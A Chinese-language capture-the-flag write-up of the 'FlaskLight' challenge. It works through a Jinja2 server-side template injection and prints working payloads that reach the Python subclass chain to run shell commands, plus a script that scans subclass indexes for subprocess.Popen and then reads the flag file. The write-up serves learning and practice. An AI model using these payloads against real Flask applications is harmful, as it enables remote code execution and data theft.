BUUCTF-WEB 【CSCCTF 2019 Qual】FlaskLight 1

考点

jinja2的ssti注入

解题过程

打开

image-20210816132048917

在源代码中

image-20210816132158116

通过下面payload判断是否存在模板注入

1
?search={{4*4}}

image-20210816132406496

确定漏洞类型

存在模板注入

试了常规的命令执行payload,发现都是返回500服务器错误。

1
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20210816132829848

image-20210816132911105

无奈之下,找到一名大师傅写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
try:
url = "http://d08b15b4-f7c1-4129-9083-3fc9d50a2c5f.node4.buuoj.cn:81?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))

这个脚本的功能是查找可以执行命令的类,查找条件subprocess.Popen。

image-20210816133248543

接下来通过大师傅给的payload

1
2
3
4
5
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

image-20210816133414089

成功打通。

总结

对模板注入还不够了解,不会构造payload,更不会bypass,只能拿着别人的payload或者工具来做题,这类题得多做,payload要会自己构造。